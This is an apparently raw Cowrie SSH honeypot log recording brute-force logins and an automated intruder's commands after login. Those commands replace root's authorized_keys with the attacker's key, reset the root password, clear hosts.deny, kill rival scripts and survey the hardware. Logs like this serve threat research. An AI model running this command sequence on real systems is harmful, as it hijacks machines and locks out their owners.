{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:33.315339Z","src_ip":"37.58.136.133","session":"501cc68798e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.58.136.133","src_port":54198,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9d30e370bd2","protocol":"ssh","message":"New connection: 37.58.136.133:54198 (159.203.135.109:22) [session: c9d30e370bd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:33.406185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:33.411326Z","src_ip":"37.58.136.133","session":"c9d30e370bd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:33.511160Z","src_ip":"37.58.136.133","session":"c9d30e370bd2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:33.940034Z","src_ip":"37.58.136.133","session":"c9d30e370bd2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:35.041577Z","src_ip":"37.58.136.133","session":"c9d30e370bd2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.58.136.133","src_port":54212,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ec6b2229d44","protocol":"ssh","message":"New connection: 37.58.136.133:54212 (159.203.135.109:22) [session: 9ec6b2229d44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:35.137832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:35.141419Z","src_ip":"37.58.136.133","session":"9ec6b2229d44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:35.242960Z","src_ip":"37.58.136.133","session":"9ec6b2229d44","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:35.674362Z","src_ip":"37.58.136.133","session":"9ec6b2229d44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:35.776212Z","src_ip":"37.58.136.133","session":"501cc68798e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:35.781523Z","src_ip":"37.58.136.133","session":"9ec6b2229d44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.217.149.7","src_port":51398,"dst_ip":"159.203.135.109","dst_port":22,"session":"66a7851f5793","protocol":"ssh","message":"New connection: 85.217.149.7:51398 (159.203.135.109:22) [session: 66a7851f5793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:45.711753Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:45.716508Z","src_ip":"85.217.149.7","session":"66a7851f5793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bc3aee897af7d3feb9fc37b89c7d15c9","hasshAlgorithms":"curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bc3aee897af7d3feb9fc37b89c7d15c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:45.741860Z","src_ip":"85.217.149.7","session":"66a7851f5793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:22:45.764338Z","src_ip":"85.217.149.7","session":"66a7851f5793","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.87.1.47","src_port":6085,"dst_ip":"159.203.135.109","dst_port":22,"session":"bed49eeceb90","protocol":"ssh","message":"New connection: 85.87.1.47:6085 (159.203.135.109:22) [session: bed49eeceb90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:03.096302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:03.101167Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:03.206077Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"lozinka123","message":"login attempt [root/lozinka123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:03.657207Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:03.907900Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:03.911225Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:03.914866Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:04.023023Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:04.269700Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:04.273213Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:04.382161Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:04.385865Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:04.621713Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:04.624627Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:04.732729Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:04.981194Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"root:5KZ7YbVsltOc\"|chpasswd|bash","message":"CMD: echo \"root:5KZ7YbVsltOc\"|chpasswd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:04.984405Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3ffd018a9ed61f79670648f146ada08cf7a8dbf0aee2ca54dd98b2220b42e54c","size":24,"shasum":"3ffd018a9ed61f79670648f146ada08cf7a8dbf0aee2ca54dd98b2220b42e54c","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3ffd018a9ed61f79670648f146ada08cf7a8dbf0aee2ca54dd98b2220b42e54c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:05.092294Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:05.385949Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","message":"CMD: rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:05.389337Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","shasum":"01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","destfile":"/etc/hosts.deny","message":"Saved redir contents with SHA-256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b to var/lib/cowrie/downloads/01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:05.499960Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","size":0,"shasum":"a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a7aa36c3bdff392eb5f787dfa19a7cc8c6cd0b3e77316d5b63b2dc8def608f3a after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:05.503311Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:05.790365Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:05.793855Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:05.902148Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:06.158651Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:06.161985Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:06.269618Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:06.515622Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:06.519182Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:06.522262Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
